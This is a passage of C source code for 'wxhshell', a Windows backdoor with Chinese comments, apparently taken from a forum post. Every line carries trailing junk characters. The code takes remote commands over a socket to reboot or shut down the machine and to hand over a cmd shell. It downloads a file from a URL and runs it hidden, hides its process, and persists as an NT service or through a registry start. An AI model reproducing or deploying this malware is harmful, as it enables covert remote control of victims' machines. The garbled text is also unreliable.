  } ;uAh)|;S#  
  else { 1^^{;R7N  
_v#pu Fy  
    switch(cmd[0]) { egsP\ '  
  & PXT$x[i  
  // 帮助 {*bx8*y1  
  case '?': {  p[&J l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -Y+pLvG*  
    break; g<;pyvq|:  
  } 0fstEExw  
  // 安装 lO\HchG zB  
  case 'i': { WCd: (8B  
    if(Install()) F~=kMQO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D)G oWt  
    else \\EX'L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9Avj\G  
    break; Z5'^Hj1,  
    } a4uy}@9z  
  // 卸载 :V6 [_VaF  
  case 'r': { LS*L XC  
    if(Uninstall()) zq + 2@"q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nN$.^!;&  
    else }s?3   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ *Jbp  
    break; o,j_eheAM  
    } Ag T)J  
  // 显示 wxhshell 所在路径 Mh3.GpS  
  case 'p': { ?IeBo8  
    char svExeFile[MAX_PATH]; t$qIJt$  
    strcpy(svExeFile,"\n\r"); PJ:!O?KVq  
      strcat(svExeFile,ExeFile); j+'ua=T3  
        send(wsh,svExeFile,strlen(svExeFile),0); O: I]v@  
    break; v8)wu=u  
    } Ib{#dhV  
  // 重启 8Mtd}{Fw*  
  case 'b': { hTO5*5]0zP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m^BXLG:b  
    if(Boot(REBOOT)) 5vD\?,f E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m~;.kc  
    else { U$DZht4>u  
    closesocket(wsh); Wk^{Tn/]  
    ExitThread(0); B{0]v-w  
    } FnVW%fh  
    break; B!<B7Q  
    } |{|B70v3Co  
  // 关机 R7b-/ !L  
  case 'd': { OE[7fDe'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5X3JQ"z  
    if(Boot(SHUTDOWN)) `dF~'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6|Dtx5 "r  
    else { [ {"x{;  
    closesocket(wsh); R%LFFMVn  
    ExitThread(0); &b~ X&{3,  
    } 3R$R?^G  
    break; Hwd^C 2v  
    } Msvs98LvW  
  // 获取shell ai/]E6r  
  case 's': { i+QVs_jW  
    CmdShell(wsh); 'N6oXE  
    closesocket(wsh); 7gLk~*  
    ExitThread(0); vC&0UNe$  
    break; 1r4NP  
  } **-rPonM[  
  // 退出 UazK0{t<f  
  case 'x': { RJ3uu NK7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8 |= c3Z  
    CloseIt(wsh); )Dms9:  
    break; KiMlbF.~V  
    } *eD[[HbKX  
  // 离开 r]}6iF.  
  case 'q': { > mCH!ey  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '%_K"rb  
    closesocket(wsh); `"'u mIz  
    WSACleanup(); QgH{J8 0  
    exit(1); ekfa"X_  
    break; ^Rl?)_)1HE  
        } D:K"J><@  
  }  0zr%8Q(Q  
  } 8T+o.w==  
A'}!'1  
  // 提示信息 V@RdvQy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _nzTd\L88  
} X:f5t`;  
  } %d-WQwJ  
(-1{W^(  
  return; NH5sV.vvc  
} H{_D#It  
~U7Bo(EJp  
// shell模块句柄 qoT&N,/  
int CmdShell(SOCKET sock) hX,RuI  
{ 3y$6}Kp4?  
STARTUPINFO si; ]n@T5*=  
ZeroMemory(&si,sizeof(si)); FW2x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ( !m6>m2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <  j  
PROCESS_INFORMATION ProcessInfo; g<DXJ7o  
char cmdline[]="cmd"; _H}hK kG+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Qa9@Q$  
  return 0; hb0)<^xu  
} ~tL:r=  
B<myt79F_[  
// 自身启动模式 JSq3)o9?/  
int StartFromService(void) LO%e1y  
{ FwKY;^`!d  
typedef struct 9A{D<h}yk  
{ n}9<7e~/  
  DWORD ExitStatus; 9I5AYa?  
  DWORD PebBaseAddress; L|D9+u L  
  DWORD AffinityMask; npytb*[|c  
  DWORD BasePriority; zSMM?g^T  
  ULONG UniqueProcessId; g;q.vHvsc"  
  ULONG InheritedFromUniqueProcessId; @b2?BSdUp  
}   PROCESS_BASIC_INFORMATION; 1Xh@x  
fwx^?/5j  
PROCNTQSIP NtQueryInformationProcess; %#EzZD  
LH`$<p2''r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a_\7Ho$^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x~m$(LT  
~Sf'bj;(  
  HANDLE             hProcess; 7F2:'3SQ  
  PROCESS_BASIC_INFORMATION pbi; 3DCR n :  
ze LIOw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }U9dzU14  
  if(NULL == hInst ) return 0; mJ[_q >  
@az<D7j2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $6ucz'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oFt_ yU-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h1B_*L   
xe.f]a  
  if (!NtQueryInformationProcess) return 0; 1NTx?JJfW  
rHybP6C<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xU{0rM"  
  if(!hProcess) return 0; &_@M 6[-  
-)&lsFF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G&Yo2aADR  
HsRoiqo  
  CloseHandle(hProcess); mICx9oz]  
DP*$@5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]A\qI>,  
if(hProcess==NULL) return 0; {w ,^Z[<  
a>6M{C@pd  
HMODULE hMod; Mx# P >.  
char procName[255]; n Jz*}=  
unsigned long cbNeeded; uHZjpMoM  
~U]%>Zf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VD!PF'  
xudZ7   
  CloseHandle(hProcess); .'l3NV^{  
C=K{;.  
if(strstr(procName,"services")) return 1; // 以服务启动 1n*"C!q  
bz,"TG[  
  return 0; // 注册表启动 =_6 Q26  
} yk^2<?z>2  
#K`[XA  
// 主模块 JvCy&xrE;  
int StartWxhshell(LPSTR lpCmdLine) [H$kVQC  
{ 39~WP$GM  
  SOCKET wsl; &P*r66  
BOOL val=TRUE; n~jW  
  int port=0; :.{d,)G  
  struct sockaddr_in door; @.dM1DN)  
}lq$Fi/  
  if(wscfg.ws_autoins) Install(); WhFE{-!gX  
OzH\YN  
port=atoi(lpCmdLine); PVN`k, 4  
tp ky  
if(port<=0) port=wscfg.ws_port; E=bZ4 /  
={p<|8`"  
  WSADATA data; bx7hQzoX=b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5yW}#W>  
l r~>!O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <P*7u\9&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tqt~F2u  
  door.sin_family = AF_INET; Xp6Z<Z&N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wk=s3^  
  door.sin_port = htons(port); <8h3)$  
XCez5Q1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `$JOFLa  
closesocket(wsl); a@ ? Bv  
return 1; )wEXCXr!  
} AGx(IK/_  
A~s6~  
  if(listen(wsl,2) == INVALID_SOCKET) { &u) qw }  
closesocket(wsl); ZY6%%7?1  
return 1; nxm*.&#p?  
} k<o<!   
  Wxhshell(wsl); >RiU/L  
  WSACleanup(); ~X;sa,)L1+  
 -l"8L;`  
return 0; xi.QHKBZaH  
%u Dd#+{  
} ~jWpD7px  
UU#$Kt*frR  
// 以NT服务方式启动 }$@K   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e&m TaCLG  
{ @ L/i  
DWORD   status = 0; -H 5-6w$  
  DWORD   specificError = 0xfffffff; #TgP:t]p  
+\vN#xDz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $ Fy)+<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E*v+@rv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lZ,$lZg9Z  
  serviceStatus.dwWin32ExitCode     = 0; y7z ,I  
  serviceStatus.dwServiceSpecificExitCode = 0; LG?b]'#  
  serviceStatus.dwCheckPoint       = 0; bvJ*REPL ?  
  serviceStatus.dwWaitHint       = 0; 1"1ElH  
TP`"x}ACa?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K$$%j"s  
  if (hServiceStatusHandle==0) return; S;{[];  
9q^7%b,  
status = GetLastError(); 3 "|A5>Vo  
  if (status!=NO_ERROR) +:J:S"G  
{ S! .N3ezn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; On@p5YRwW  
    serviceStatus.dwCheckPoint       = 0; I(9+F  
    serviceStatus.dwWaitHint       = 0; ^w*vux|F  
    serviceStatus.dwWin32ExitCode     = status; 8nSw7:z  
    serviceStatus.dwServiceSpecificExitCode = specificError; UwDoueXs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PJh97%7  
    return; `KP}pi\  
  }  sJ_3tjs)  
kPnuU!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]/mRMm9"3h  
  serviceStatus.dwCheckPoint       = 0; 7P52r  
  serviceStatus.dwWaitHint       = 0; 'f.5hX(Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H_%ae' W  
} <9Ytv|t@0  
L\t!)X-4  
// 处理NT服务事件,比如:启动、停止 4DGKZh'm"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \JF 2'm\M  
{ ><)fK5x  
switch(fdwControl) ?bG82@-  
{ j2#B l  
case SERVICE_CONTROL_STOP: bWB&8&p  
  serviceStatus.dwWin32ExitCode = 0; 49B6|!&I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p"n3JV.~k+  
  serviceStatus.dwCheckPoint   = 0; m&Y?]nbq  
  serviceStatus.dwWaitHint     = 0; w`Rt"d_B  
  { tQ2S*]"f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W6yz/{Rf  
  } / DS T|2  
  return; x=1Sbs w{  
case SERVICE_CONTROL_PAUSE: pzDz@lAwR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V##TG0  
  break; * \ tR  
case SERVICE_CONTROL_CONTINUE: N)YoWA>#bF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T"Nnl(cO_  
  break; 5=.mg6:  
case SERVICE_CONTROL_INTERROGATE: @N\ Ht'f  
  break; mgBxcmv  
}; 0MOn>76$N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wq#'o9s,  
} =ZARJ40L  
3>^S6h}o  
// 标准应用程序主函数 l{3ZN"`I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jTok1k  
{ l @r`NFWD@  
RgVg~?A@  
// 获取操作系统版本 '/F~vSQsR  
OsIsNt=GetOsVer(); o@|kq1m8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [i]%PVGW  
]Ai!G7s8P  
  // 从命令行安装 YZ5[# E@l  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5R#:ALwX:  
No w2ad&  
  // 下载执行文件 I]N!cEr;@-  
if(wscfg.ws_downexe) { '\LU 8VC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UeSPwY  
  WinExec(wscfg.ws_filenam,SW_HIDE);  bzX/Zts  
} d%ncI0f`  
zm^ 5WH  
if(!OsIsNt) { z%/<|`  7  
// 如果时win9x,隐藏进程并且设置为注册表启动 Dl=vv9  
HideProc(); h &IF ?h  
StartWxhshell(lpCmdLine); 9!vimu)  
} k%({< ul  
else toC|vn&P  
  if(StartFromService()) +D#.u^  
  // 以服务方式启动 ko T: r  
  StartServiceCtrlDispatcher(DispatchTable); ;0E[ ; L!  
else 9QN(Wq@  
  // 普通方式启动 wW'.bqA  
  StartWxhshell(lpCmdLine); -.7UpDg~  
[N*`3UZk"  
return 0; 259:@bi!y  
}
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只看该作者 1 发表于: 2006-10-10
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